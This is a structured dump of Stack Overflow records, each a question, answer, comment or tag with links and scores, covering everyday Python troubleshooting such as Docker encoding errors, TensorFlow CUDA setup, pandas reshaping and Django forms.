has body: I'm getting crazy with this error. I have this byte-string: b'AXX 4 U I T T u N G AXK\nGlobus Fachm\xc3\xa4rkte GmbH &amp; Co.KG\n\nBaumarkt 65719 Hofheim\n\nNordring 5\xe2\x80\x949\nTel :06192\xe2\x80\x94959680 Fax:95968444\n94\n\n#373\n2 SCHNITZEL 6.30 1\nSumme 6.30\nBAR 7.00\nR\xc3\xbcckgeld EUR 0.70\nMwSt Brutto 6.30\n19.00% MwSt Il 1.01\n\nNetto 5 29\n\n12000094 MW,\n\nVielen Dank f\xc3\xbcr Ihren Einkauf\nG\xc3\xbcltig zur Vorlage beim Finanzamt\nUST . I0\xe2\x80\x94Nummer : DE163646243\nAchtung: Bon vor W\xc3\xa4rme, N\xc3\xa4sse und\nSonneneinstrahlung sch\xc3\xbctzen.\n\nKasse/Bon Datum=lieferdatum Kassierer\n1619 12.01.17 12:45 56\n\x0c' If I try to read it locally: print(g.decode('utf-8').strip()) I get this: AXX 4 U I T T u N G AXK Globus Fachmärkte GmbH &amp; Co.KG Baumarkt 65719 Hofheim Nordring 5—9 Tel :06192—959680 Fax:95968444 94 #373 2 SCHNITZEL 6.30 1 Summe 6.30 BAR 7.00 Rückgeld EUR 0.70 MwSt Brutto 6.30 19.00% MwSt Il 1.01 Netto 5 29 12000094 MW, Vielen Dank für Ihren Einkauf Gültig zur Vorlage beim Finanzamt UST . I0—Nummer : DE163646243 Achtung: Bon vor Wärme, Nässe und Sonneneinstrahlung schützen. Kasse/Bon Datum=lieferdatum Kassierer 1619 12.01.17 12:45 56 but if I try to do it on the server, inside a Docker container, exactly the same code print(g.decode('utf-8').strip()) I get this error: Exception in thread Thread-3: Traceback (most recent call last): File "/usr/lib/python3.5/threading.py", line 914, in _bootstrap_inner self.run() File "/usr/lib/python3.5/threading.py", line 862, in run self._target(*self._args, **self._kwargs) File "./main.py", line 140, in get_text_aux2 text_blank = chuck_tesseract.image_to_string(blank_image, lang='deu', mode='1') File "./chuck_tesseract.py", line 137, in image_to_string print(g.decode('utf-8').strip()) UnicodeEncodeError: 'ascii' codec can't encode character '\xe4' in position 36: ordinal not in range(128) And it doesn't make any sense to me. Maybe, the problem is inside the thread, or that I have to …
type: Question
has title: utf-8 decoding error just in docker container
answer count: 1
has comment: http://stackoverflow.com/comment/84504456

http://stackoverflow.com/comment/84475817
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48737403
has text: I can't understand why is it not clear to you. While it is quite understandable that doing calculation is the main part of the program, where we need to do it line by line. Splitting it into different files by `chr` would be way to do multiprocessing/threading. Also, what more is information is needed - can you explain.?
score: 0

http://stackoverflow.com/comment/84453943
has text: @MIBMinion I just changed the solution for the idy variable so you don't have to know anything ahead of time. But if your data is wider, and you don't know how wide it is, I would use the other solution genfromtxt and pull out the labels separately.
comment on: http://stackoverflow.com/a/48727459
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/84557035
type: Comment
comment on: http://stackoverflow.com/a/48777488
has text: @JialiangZhou Unless I'm understanding the meaning of `root dictionary` incorrectly `from parent.sub1 import directoryManager` sould work
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84390048
type: AnswerComment
comment on: http://stackoverflow.com/a/48674919
type: Comment
has text: I did try that - I transposed the matrix and then applied the code from above - it still did not work. In fact based on some other answers related to armadillo I had tried this method earlier both with and without transpose- didnt work
score: 0

http://stackoverflow.com/a/48726265
upvote count: 1
has comment: http://stackoverflow.com/comment/84485978
has comment: http://stackoverflow.com/comment/84508749
downvote count: 0
answers question: http://stackoverflow.com/q/48700746
has body: At the bottom of the welcome notebook at colab.research.google.com there's a link to an example notebook titled "Loading and saving data: local files, Drive, Sheets, Google Cloud Storage" (https://colab.research.google.com/notebook#fileId=/v2/external/notebooks/io.ipynb). This gives recipes for how to copy files from Google Drive to the colaboratory runtime which you can use to copy your module code so it will be visible to the runtime's import machinery.
has comment: http://stackoverflow.com/comment/84485194
type: Answer
score: 1

http://stackoverflow.com/comment/84602274
has text: I figures self.playerscore wasn't doing anything so I changed the while loop to while self.playerscore < 36
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48799648
type: Comment

http://stackoverflow.com/q/48737869
has comment: http://stackoverflow.com/comment/84476094
favorite count: 0
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/84475523
tagged with: python-3.x
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48737945
tagged with: python
has title: "import tensorflow as tf" ImportError: Could not find 'cudart64_90.dll'
has body: I am trying to learn Python and specifically TensorFlow. I have followed the instructions and have overcome several problems so far and have successfully installed TensorFlow (pip install), CUDA(9.1.85 win10), Python(3.6.3 amd64), and CUDNN(8.0 win10x64) as I have a GPU (GTX 1080) and want to be able to train networks with it. My computer has an intel i7, and Windows 10. I started with CUDA(8.0.61 win10) but it caused an error that said it needed version 9. When I try to test with &gt;&gt;&gt; import tensorflow as tf &gt;&gt;&gt; hello = tf.constant('Hello, TensorFlow!') &gt;&gt;&gt; sess = tf.Session() &gt;&gt;&gt; print(sess.run(hello)) I get this error on the first line &gt;&gt;&gt; import tensorflow as tf Traceback (most recent call last): File "C:\Program Files\Python36\lib\site-packages\tensorflow\python\platform\self_check.py", line 75, in preload_check ctypes.WinDLL(build_info.cudart_dll_name) File "C:\Program Files\Python36\lib\ctypes\__init__.py", line 348, in __init__ self._handle = _dlopen(self._name, mode) OSError: [WinError 126] The specified module could not be found During handling of the above exception, another exception occurred: Traceback (most recent call last): File "&lt;pyshell#0&gt;", line 1, in &lt;module&gt; import tensorflow as tf File "C:\Program Files\Python36\lib\site-packages\tensorflow\__init__.py", line 24, in &lt;module&gt; from tensorflow.python import * File "C:\Program Files\Python36\lib\site-packages\tensorflow\python\__init__.py", line 49, in &lt;module&gt; from tensorflow.python import pywrap_tensorflow File "C:\Program Files\Python36\lib\site-packages\tensorflow\python\pywrap_tensorflow.py", line 30, in &lt;module&gt; self_check.preload_check() File "C:\Program Files\Python36\lib\site-packages\tensorflow\python\platform\self_check.py", line 82, in preload_check % (build_info.cudart_dll_name, build_info.cuda_version_number)) ImportError: Could not find 'cudart64_90.dll'. TensorFlow requires that this DLL be installed in a dire…
tagged with: cuda
has comment: http://stackoverflow.com/comment/84475388
score: 2
tagged with: tensorflow
type: Question
answer count: 1

http://stackoverflow.com/q/48674558
has body: Currently, I've been doing model fitting in Prism manually for all my data. It's quite tedious and time consuming. I wonder if there is any way to improve the efficiency in data analysis. I'm familiar with Python so I'd like to start with python to think of a better workflow. Your help is much appreciated. Two questions: How to do two state model fitting in python (figure 1)? In my case, it will has an initial linear increase followed by horizontal plateau state. I wish to the way of implementation in python and the way to automatically detect the turning point where the changes occurs (Ideally I can get the time where it occurs and the slope as well) Another case is when the state become exponentially or polynomial. Is there any way in python to automatically tell which model is the best. Figure 1
favorite count: 0
type: Question
upvote count: 2
tagged with: python
has answer: http://stackoverflow.com/a/48675599
tagged with: scipy
tagged with: modeling
has comment: http://stackoverflow.com/comment/84357215
tagged with: model-fitting
accepted answer: http://stackoverflow.com/a/48675599
score: 2
type: AnsweredQuestion
downvote count: 0
answer count: 1
has title: How to implement automatic model determination and two state model fitting in python?

http://stackoverflow.com/comment/84393013
has text: What do you expect to happen with this code? `list(Product)` will definitely fail in the first line.
score: 0
comment on: http://stackoverflow.com/q/48696924
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84538091
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48768318
has text: it gives me the following error `OSError: No wkhtmltopdf executable found: "b''" If this file exists please check that this process can read it. Otherwise please install wkhtmltopdf` Evend after installing `wkhtmltopdf `

http://stackoverflow.com/q/48801555
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84632660
tagged with: evdev
type: UnansweredQuestion
has title: Scanned Input in python as a single Input
tagged with: input
tagged with: python
has comment: http://stackoverflow.com/comment/84607615
has comment: http://stackoverflow.com/comment/84606979
has comment: http://stackoverflow.com/comment/84608048
has body: I have written this code where I process scanned input from barcode scanner. But input here are from single line and I can't get difference between the next scanned input and the past one. Here is my code: from evdev import InputDevice, categorize, ecodes import select dev = InputDevice('/dev/input/event2') data = "" def parse_key_to_char(val): return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else "" for event in dev.read_loop(): if event.type == ecodes.EV_KEY: e = categorize(event) if e.keystate == e.key_up: print parse_key_to_char(e.keycode) And the Output is: 0 7 5 6 7 8 1 6 4 1 2 5 While expected output is : 075678164125 It works if I am in the same terminal but won't work if I am focusing on some other terminal. I want these inputs to be captured in the background and pass them to some other function which is calling current function.
has answer: http://stackoverflow.com/a/48802374
type: Question
has comment: http://stackoverflow.com/comment/84607308
tagged with: raspberry-pi
has comment: http://stackoverflow.com/comment/84632602
linked to: http://stackoverflow.com/q/493386

http://stackoverflow.com/comment/84319661
type: AnswerComment
comment on: http://stackoverflow.com/a/48659132
has text: @BengBeng what do you mean by list function? If you want to cast `bytes` to `list` just apply `list(read_bytes)` and then you get a list of integers.
type: Comment
score: 2

http://stackoverflow.com/a/48784637
has body: both the given answers are usefull ... below is the summrise one import pandas as pd mylist = [751883787,751026090,752575831,751031278] mysers = pd.Series(mylist).astype(str).str.zfill(11) print (mysers) ./test 0 00751883787 1 00751026090 2 00752575831 3 00751031278 dtype: object another way around is , cast the dtype of the series to str using astype and use vectorised str.zfill to pad with 00, though using lamda will be more easy to read .. import pandas as pd mylist = pd.DataFrame([751883787,751026090,752575831,751031278], columns=['coln']) result = mylist.coln.apply(lambda x: str(int(x)).zfill(11)) print(result) Below is the result.. ./test 0 00751883787 1 00751026090 2 00752575831 3 00751031278 Name: coln, dtype: object
has comment: http://stackoverflow.com/comment/84571833
has comment: http://stackoverflow.com/comment/84571744
upvote count: 1
has comment: http://stackoverflow.com/comment/84571592
type: Answer
has comment: http://stackoverflow.com/comment/84571730
has comment: http://stackoverflow.com/comment/84571700
has comment: http://stackoverflow.com/comment/84571872
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48783650
has comment: http://stackoverflow.com/comment/84571936

http://stackoverflow.com/a/48734850
score: 1
upvote count: 1
downvote count: 0
has body: You also need to specify the fields in the second example: class AddNewProductForm(forms.ModelForm): date = forms.DateField(label='date', initial=datetime.date.today(), widget=forms.SelectDateWidget(years=AVAILABLE_YEAR_CHOICES)) time = forms.TimeField(label="time", initial=datetime.datetime.now().strftime("%H:%M")) class Meta: model = Product fields = ["title", "description", "date", "time"]
accepted answer of: http://stackoverflow.com/q/48734814
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48734814

http://stackoverflow.com/a/48658994
has body: Like Paul H said the problem is split return str so you have two option: convert everything to float on the split or before the sum operation. I prefer on split. import numpy as np def file_name(): while True: file_name_input = input('Type in the name of the xyz file: ') try: file = open(file_name_input) lines = file.readlines() file.close() Geometry = [] for line in lines: Geometry.append([float(number) for number in line.split()]) print('You have selected', file_name_input) return Geometry except IOError: print('That is not a valide file name. Try again.') #Defines the variable XYZ_File to be the input file given by user XYZ_File = tuple(file_name()) #REMOVE THIS LATER print(XYZ_File) #Generates a new set of position vectors that has the target carbon, C2, at origin. def Carbon_Two_Origin(): Temp_Array = np.array(XYZ_File) for i in range(len(XYZ_File)): for j in range(len(XYZ_File[i])): Temp_Array[i][1] = XYZ_File[i][1] + 0.32101 return Temp_Array New_Geometry = Carbon_Two_Origin() print(New_Geometry)
answers question: http://stackoverflow.com/q/48657283
score: 0
type: Answer

http://stackoverflow.com/q/48784114
tagged with: youtube-data-api
has comment: http://stackoverflow.com/comment/84580592
type: Question
linked to: http://stackoverflow.com/q/20484816
has comment: http://stackoverflow.com/comment/84610579
score: 0
has title: How do I know if a channel is a verification using the YouTube Data API?
tagged with: python
has body: I need a little help with YouTube Data API. Please tell me how I can find out whether the channel is verification using the API. As far as I understand, I need to look at youtube.channels.list but could not find where exactly. for example: https://developers.google.com/apis-explorer/#p/youtube/v3/youtube.channels.list?part=snippet%252CcontentDetails%252C+statistics%252Cstatus&amp;id=UCz24srq31kr8CyNT-oN1Dqw&amp;_h=13&amp; UPDATED: If I correctly understood this possibility yet. Guys from Google have set 'status Assigned' and mark task for this as a feature request. Perhaps in the future, we will have such an opportunity. https://issuetracker.google.com/issues/62275991
answer count: 0
type: UnansweredQuestion
tagged with: youtube-api
tagged with: youtube

http://stackoverflow.com/a/48722089
has body: If you have model pb or pb.txt then inference is easy. Using predictor module, we can do an inference. Check out here for more information. For image data it will be something to similar to below example. Hope this helps !! Example code: import numpy as np import matplotlib.pyplot as plt def extract_data(index=0, filepath='data/cifar-10-batches-bin/data_batch_5.bin'): bytestream = open(filepath, mode='rb') label_bytes_length = 1 image_bytes_length = (32 ** 2) * 3 record_bytes_length = label_bytes_length + image_bytes_length bytestream.seek(record_bytes_length * index, 0) label_bytes = bytestream.read(label_bytes_length) image_bytes = bytestream.read(image_bytes_length) label = np.frombuffer(label_bytes, dtype=np.uint8) image = np.frombuffer(image_bytes, dtype=np.uint8) image = np.reshape(image, [3, 32, 32]) image = np.transpose(image, [1, 2, 0]) image = image.astype(np.float32) result = { 'image': image, 'label': label, } bytestream.close() return result predictor_fn = tf.contrib.predictor.from_saved_model( export_dir = saved_model_dir, signature_def_key='predictions') N = 1000 labels = [] images = [] for i in range(N): result = extract_data(i) images.append(result['image']) labels.append(result['label'][0]) output = predictor_fn( { 'images': images, } )
has comment: http://stackoverflow.com/comment/84502267
downvote count: 0
has comment: http://stackoverflow.com/comment/84454885
has comment: http://stackoverflow.com/comment/84483183
type: Answer
has comment: http://stackoverflow.com/comment/84447093
has comment: http://stackoverflow.com/comment/84457158
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84484717
answers question: http://stackoverflow.com/q/48679622
has comment: http://stackoverflow.com/comment/84457196

http://stackoverflow.com/comment/84602445
type: QuestionComment
has text: You should start with [`.startswith()`](https://docs.python.org/3/library/stdtypes.html#str.startswith).
score: 2
comment on: http://stackoverflow.com/q/48799825
type: Comment

http://stackoverflow.com/a/48789339
answers question: http://stackoverflow.com/q/48789251
score: 2
downvote count: 0
type: AcceptedAnswer
has body: Use stack: df = df.set_index(['ID','Name','Gender']) df.columns = df.columns.str.extract('(\d+)', expand=False) df = df.stack().reset_index(name='R').rename(columns={'level_3':'R_no'}) print (df) ID Name Gender R_no R 0 1 Abc M 1 A1 1 1 Abc M 2 A2 2 1 Abc M 3 B3 3 1 Abc M 4 B1 4 1 Abc M 5 D2 5 1 Abc M 6 A3 6 2 Cde F 1 A2 7 2 Cde F 2 B1 8 2 Cde F 3 B2 9 2 Cde F 4 D1 10 2 Cde F 5 C2 11 2 Cde F 6 C3
upvote count: 2
accepted answer of: http://stackoverflow.com/q/48789251
type: Answer

http://stackoverflow.com/a/48803088
upvote count: 1
answers question: http://stackoverflow.com/q/48802608
type: Answer
has comment: http://stackoverflow.com/comment/84609929
downvote count: 0
score: 1
has body: You can try this - hero = 'Super Man' # Add extra space at the end of main string to make each word in balance with # word + ' ', so that last word can be manipulated easily. hero += ' ' # declare new variable to hold manipulated string. tmp = '' i, length = 0, len(hero) while i &lt; length: ch = hero[i] # if current character is space then you need not to do anything just skip to next iteration. if ch == ' ': i += 1 continue # if current character is in lowercase then make it in uppercase by using ASCII value # without using function, # ord() , this function gives ASCII integer value of character # chr() , this function gives character value for integer ASCII value if ch &gt;= 'a' and ch &lt;='z': ch = chr(ord(ch) - 32) # if next character is space then add character with space otherwise # add character with '^' symbol. if hero[i+1] == ' ': tmp += ch + ' ' else: tmp += ch + '^' # increment the counter variable i += 1 print(tmp) Output = S^U^P^E^R M^A^N

http://stackoverflow.com/comment/84375981
comment on: http://stackoverflow.com/q/48688176
has text: using the variable `filename` or using `file` return the same error.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48735026
downvote count: 0
score: 1
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48728668
has body: IMO, there's no particular advantage to the use of pyparsing here. It's easy to process this file using an old-fashioned algorithm. output_list = [] items = [] with open('spark.txt') as spark: for line in spark: line = line.rstrip() if line and not line.startswith('%'): if 'ALL Banks Report' in line: if items: output_list.extend(items) items = [line] else: items.append(line) if items: output_list.extend(items) for item in output_list: print (item) Output: 2018 Jan 31 16:44:53.050 ALL Banks Report SBI name id ID = 0, ID = 58 Freq = 180 conserved NEXT: message c1 : ABC1 : { XYZ2 } 2018 Jan 31 16:44:43.050 ALL Banks Report HDFC conserved LATE: World ::= { Asia c1 : EastAsia : { India } } Incidentally, I have avoided the use of list as an identifier, since it's a Python keyword.
answers question: http://stackoverflow.com/q/48728668
type: AcceptedAnswer

http://stackoverflow.com/comment/84508899
type: Comment
has text: @user342624 Make that a function and use it for part 2. If it helps, use different names for the input lists, say `x` is the list of lists and `y` is the single list of numbers. Can you write another list comprehension that uses your first one (as the return from a function)?
type: AnswerComment
comment on: http://stackoverflow.com/a/48752964
score: 0

import
type: Tag
tags question: http://stackoverflow.com/q/48650546
tags question: http://stackoverflow.com/q/48771217
tags question: http://stackoverflow.com/q/48723933
tag name: import
tags question: http://stackoverflow.com/q/48763179
tags question: http://stackoverflow.com/q/48719663
tags question: http://stackoverflow.com/q/48718360
tags question: http://stackoverflow.com/q/48659356
tags question: http://stackoverflow.com/q/48678090
tags question: http://stackoverflow.com/q/48757565
tags question: http://stackoverflow.com/q/48803448
tags question: http://stackoverflow.com/q/48665083
tags question: http://stackoverflow.com/q/48684568
tags question: http://stackoverflow.com/q/48737516
tags question: http://stackoverflow.com/q/48720411
tags question: http://stackoverflow.com/q/48766723
tags question: http://stackoverflow.com/q/48777038

http://stackoverflow.com/q/48649020
has comment: http://stackoverflow.com/comment/84295919
has answer: http://stackoverflow.com/a/48650055
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84296325
has comment: http://stackoverflow.com/comment/84296293
has comment: http://stackoverflow.com/comment/84296366
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/48650656
downvote count: 0
accepted answer: http://stackoverflow.com/a/48650055
has answer: http://stackoverflow.com/a/48650656
has comment: http://stackoverflow.com/comment/84296605
has title: Python: 'int' object is not iterable in map.Pool
has comment: http://stackoverflow.com/comment/84296207
favorite count: 0
has body: For some reason, result = pool.map(_delete_load_log,list(logs_to_delete)) is now giving me an 'int' object is not iterable error. as per the screenshot, logs_to_delete is clearly an array (added list() to see if it changed anything, and nope). This worked earlier, but I can't track back what changed to make it not work. Any ideas? mapping function: def _delete_load_log(load_log_id): logging.debug('** STARTING API CALL FOR: ' + get_function_name()) input_args = "/15/" + str(load_log_id) logging.debug('url: ' + podium_url + '\nusername: ' + podium_username) podium = podiumapi.Podium('https://xx/podium','podium','podium') #podium = podiumapi.Podium(podium_url,podium_username,podium_password) data = None response_code = 0 try: api_url = PodiumApiUrl(podium_url,input_args) (response_code,data) = podium._podium_curl_setopt_put(api_url) if not data[0]['hasErrors']: return data[0]['id'] elif data[0]['hasErrors']: raise Exception("Errors detected on delete") else: raise Exception('Unmanaged exception while retrieving entity load status.') except Exception as err: raise Exception(str(err)) File "c:\Repos\Tools\podium-dataload\scripts\podiumlogdelete.py", line 69, in _delete_source_load_logs_gte_epoch deleted_load_ids = _delete_logs_in_parallel(load_logs_to_delete) File "c:\Repos\Tools\podium-dataload\scripts\podiumlogdelete.py", line 85, in _delete_logs_in_parallel result = pool.map(_delete_load_log,logs_to_delete) File "C:\Python27\lib\multiprocessing\pool.py", line 253, in map return self.map_async(func, iterable, chunksize).get() File "C:\Python27\lib\multiprocessing\pool.py", line 572, in get raise self._value Exception: 'int' object is not iterable output of list: [154840, 154841, 154842, 154843, 154844, 154845, 154846, 154847, 154848, 154849, 154850, 154851, 154852, 154853, 154854, 154855, 154856, 154857, 154858, 154859, 154860, 154861, 154862, 154863, 154864, 154865, 154866, 154867, 154868, 154869, 154870, 154871, 154872, 154873, 154874, 154875, 154876, 154877, 154878,…
has comment: http://stackoverflow.com/comment/84296243
upvote count: 2
has comment: http://stackoverflow.com/comment/84296107
has comment: http://stackoverflow.com/comment/84297223
tagged with: python

http://stackoverflow.com/comment/123223083
has text: It is more commonly (your way *might* work) accessed as `logging.getLogger()`, as the OP is already aware...
type: Comment
score: 4
comment on: http://stackoverflow.com/a/69712571
type: AnswerComment

http://stackoverflow.com/comment/84601715
comment on: http://stackoverflow.com/q/48797695
type: Comment
type: QuestionComment
has text: @sascha interesting - thanks! Here's [a relevant link](http://scipy.github.io/old-wiki/pages/ParallelProgramming) to some old Scipy docs.
score: 1

http://stackoverflow.com/a/48692326
type: Answer
accepted answer of: http://stackoverflow.com/q/48692264
score: 2
has body: with open('study_list.csv','r') as csv_file: lines = csv_file.readlines() vocabulary = [] translation = [] for line in lines data = line.split(',') vocabulary.append(data[0]) translation.append(data[1]) You can create other lists for the other columns like this above the for loop, and append to them inside with the corresponding index.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48692264
upvote count: 2

http://stackoverflow.com/comment/85738645
type: QuestionComment
comment on: http://stackoverflow.com/q/48767853
has text: I thought its irrelevant to question and omit adding dal widget codes.
score: 0
type: Comment

http://stackoverflow.com/comment/84386405
type: Comment
comment on: http://stackoverflow.com/a/48689488
score: 0
type: AnswerComment
has text: I have modified the above code from the post but I have another error: **TypeError: delete_entry() takes no arguments (1 given)**

http://stackoverflow.com/q/48801000
type: AnsweredQuestion
tagged with: list
score: 1
type: Question
has title: TypeError when using a list of lists
has body: I am trying to append XY coordinates from a list to another list so I can plot patches around the scatter plot of 15 different objects. But I get an error, TypeError: list indices must be integers or slices, not tuple when trying to run the code. The dataset I'm working on is formatted horizontally. The data is read that results in a list of x-coordinates and a list of y-coordinates. Dataset example: data = [[],[]] data[0] = [random.sample(range(80), 10) for _ in range(6)] #x-coordinates data[1] = [random.sample(range(80), 10) for _ in range(6)] #y-coordinates x_data = data[0] y_data = data[1] I plot a scatter and then want to add circles of different radiuses around that scatter plot. I plot the scatter as such, which works fine: scatter = ax.scatter(x_data[0], y_data[0], zorder = 5, s = 20) Where I get the error is using the following code: #creating list of patches players = [] for n in range(10): ##as there are always 3 circles, append all three patches as a list at once players.append([ mpl.patches.Circle((x_data[0,n],y_data[0,n]), radius = 2, color = 'black', lw = 1, alpha = 0.8, zorder = 4), mpl.patches.Circle((x_data[0,n],y_data[0,n]), radius = 4, color = 'gray', lw = 1, alpha = 0.8, zorder = 3), mpl.patches.Circle((x_data[0,n],y_data[0,n]), radius = 6, color = 'lightgrey', lw = 1, alpha = 0.8, zorder = 2) ]) ##adding patches to axes for player in players: for circle in player: ax.add_patch(circle) I get the error for mpl.patches.Circle((x_data[0,n],y_data[0,n]), radius = 2, color = 'black', lw = 1, alpha = 0.8, zorder = 4), TypeError: list indices must be integers or slices, not tuple
accepted answer: http://stackoverflow.com/a/48801066
answer count: 1
downvote count: 0
tagged with: append
favorite count: 0
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48801066

http://stackoverflow.com/q/48652438
type: Question
has answer: http://stackoverflow.com/a/48652541
has comment: http://stackoverflow.com/comment/84305858
downvote count: 0
tagged with: sorting
has answer: http://stackoverflow.com/a/48652500
has answer: http://stackoverflow.com/a/48653678
has comment: http://stackoverflow.com/comment/84304368
has body: I'm building a function that takes a list which contains three different types of elements: integers, floats, and strings. The function converts the list to a dictionary with keys for each of these three different categories. Then each element in that original list is placed into the appropriate key-value pair (e.g. all string elements in the list get assigned to the "string" key). I'm able to get this working correctly, however I'm unable to sort the values inside the dictionary values (which are lists). Here's what I have: def list_dict_sort(input_list): mixed_list =['asdf', 33, 'qwerty', 123.45, 890, 3.0, 'hi', 0, 'yes', 98765., '', 25] sorted_dict = {} sorted_dict['integer'] = [] sorted_dict['float'] = [] sorted_dict['string'] = [] for x in mixed_list: if "int" in str(type(x)): sorted_dict['integer'].append(x) elif "float" in str(type(x)): sorted_dict['float'].append(x) elif "str" in str(type(x)): sorted_dict['string'].append(x) sorted_dict.sort return(sorted_dict) list_dict_sort(mixed_list) this returns: {'float': [123.45, 3.0, 98765.0], 'integer': [33, 890, 0, 25], 'string': ['asdf', 'qwerty', 'hi', 'yes', '']} so structurally the function gets me what I want, except that the value-lists are sorted. The exact output that I'd like is: {'float': [3.0, 123.45, 98765.0], 'integer': [0, 25, 33, 890], 'string': ['asdf', 'hi', 'qwerty', 'yes', '']} Ideally I want to avoid doing an import here (e.g. operator), I'm just looking for a simple/basic way of sorting the value-lists. I tried using sort and sorted() but couldn't figure out how to build them in to what I already have. Is there a clean way of doing this or is there a more efficient way?
answer count: 3
has comment: http://stackoverflow.com/comment/84303118
favorite count: 0
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
linked to: http://stackoverflow.com/q/8024571
score: 3
tagged with: list
linked to: http://stackoverflow.com/q/1549801
upvote count: 3
has title: Creating a dictionary with lists as values, and sorting the elements inside of the lists

http://stackoverflow.com/comment/84491316
has text: I'm looking for the actual format string. (the corner I ran into is matplotlib LineCollection, which doesn't handle datetime objects in arrays, so I converted them with date2num to float, which then the DateFormatter can still format with a strftime format string, but which by itself doesn't have an isoformat method)
comment on: http://stackoverflow.com/q/48745189
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/48712414
answers question: http://stackoverflow.com/q/48711455
has body: The issue is a synchronisation bug: elasticsearch hasn't fully started when indexer tries to connect to it. You'll have to add some retry logic which makes sure that elasticsearch is up and running before you try to run queries against it. Something like running es.ping() in a loop until it succeeds with an exponential backoff should do the trick. UPDATE: The Docker HEALTHCHECK instruction can be used to achieve a similar result (i.e. make sure that elasticsearch is up and running before trying to run queries against it).
score: 12
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84444152
type: Answer
upvote count: 12
downvote count: 0
has comment: http://stackoverflow.com/comment/84442594
accepted answer of: http://stackoverflow.com/q/48711455

http://stackoverflow.com/q/48698385
tagged with: scikit-learn
accepted answer: http://stackoverflow.com/a/48712462
has comment: http://stackoverflow.com/comment/84395524
favorite count: 0
has title: Any difference between H2O and Scikit-Learn metrics scoring?
tagged with: h2o
tagged with: python
has body: I tried to use H2O to create some machine learning models for binary classification problem, and the test results are pretty good. But then I checked and found something weird. I tried to print the prediction of the model for the test set out of curiosity. And I found out that my model actually predicts 0 (negative) all the time, but the AUC is around 0.65, and precision is not 0.0. Then I tried to use Scikit-learn just to compare the metrics scores, and (as expected) they’re different. The Scikit learn yielded 0.0 precision and 0.5 AUC score, which I think is correct. Here's the code that I used: model = h2o.load_model(model_path) predictions = model.predict(Test_data).as_data_frame() # H2O version to print the AUC score auc = model.model_performance(Test_data).auc() # Python version to print the AUC score auc_sklearn = sklearn.metrics.roc_auc_score(y_true, predictions['predict'].tolist()) Any thought? Thanks in advance!
type: AnsweredQuestion
upvote count: 3
tagged with: classification
linked to: http://stackoverflow.com/q/51869414
tagged with: machine-learning
type: Question
has answer: http://stackoverflow.com/a/48712462
score: 3
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/84302911
comment on: http://stackoverflow.com/q/48652393
type: Comment
type: QuestionComment
has text: The `geo_hash` keys are strings. Each update object is a large nested dictionary.
score: 0

http://stackoverflow.com/comment/84449980
has text: Hello :D. for installing GCC using homebrew use `brew install gcc`. after installing GCC I think your problem must be solved.
score: 0
comment on: http://stackoverflow.com/q/48723145
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84495912
has text: I am updating my question , please add your answer.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48747494
type: QuestionComment

cryptography
tag name: cryptography
type: Tag
tags question: http://stackoverflow.com/q/48793501
tags question: http://stackoverflow.com/q/48734770

http://stackoverflow.com/comment/84526556
type: QuestionComment
score: 3
has text: While doing that c++ wrapping part, you are most probably trying to re-code something that's been thoroughly tested, and used by thousands. I strongly think it's better to go with numpy/pandas, unless something is not possible at all with them.
comment on: http://stackoverflow.com/q/48762810
type: Comment

http://stackoverflow.com/comment/84504496
comment on: http://stackoverflow.com/q/48751831
score: 1
type: Comment
type: QuestionComment
has text: Change [the protocol](https://docs.python.org/3/library/pickle.html#data-stream-format) in your `pickle.dumps()` call. [Possibly related question](https://stackoverflow.com/questions/23582489/python-pickle-protocol-choice)

http://stackoverflow.com/comment/109380558
comment on: http://stackoverflow.com/a/60687304
score: 1
type: AnswerComment
has text: @Datanovice Done, adding the imports.
type: Comment

http://stackoverflow.com/a/56575568
has comment: http://stackoverflow.com/comment/128828428
type: Answer
has body: The problem is caused by CV2 and how __init__.py does the imports. Just ignore the warnings the program will work all the same, or you can do an import with an alias like: import cv2.cv2 as cv2 If you have a warning on it press Alt+Enter to install and fix it. Now you will have the code completion and no other warnings (about that) on the project.
upvote count: 31
downvote count: 4
score: 27
answers question: http://stackoverflow.com/q/48772621

http://stackoverflow.com/q/48789253
has comment: http://stackoverflow.com/comment/84580738
type: AnsweredQuestion
tagged with: list
accepted answer: http://stackoverflow.com/a/48790934
type: Question
has comment: http://stackoverflow.com/comment/84580655
has comment: http://stackoverflow.com/comment/84580792
has body: I am trying to make a very simple login script to learn about accessing files and lists but I'm a bit stuck. newaccno = str(1) with open("C:\\Python\\Test\\userpasstest.txt","r+") as loginfile: for line in loginfile.readlines(): line = line.strip() logininfo = line.split(" ") print(newaccno in logininfo[0]) while newaccno in logininfo[0]: #issue is here, also tried == newaccno += 1 print(newaccno) loginfile.write(newaccno) My logic is that it will search logininfo[0] for newaccno and if it is true, increase newaccno by 1 and search again until it is false then write to file (so if the file has 1, 2 and 3 already then newaccno will end up as 4). Edit: This is how the txt file looks, the first number represents newaccno before it gets split. 1 abc qwe 2 123 456
has comment: http://stackoverflow.com/comment/84581563
has comment: http://stackoverflow.com/comment/84582125
has answer: http://stackoverflow.com/a/48790934
has comment: http://stackoverflow.com/comment/84582013
score: 0
answer count: 1
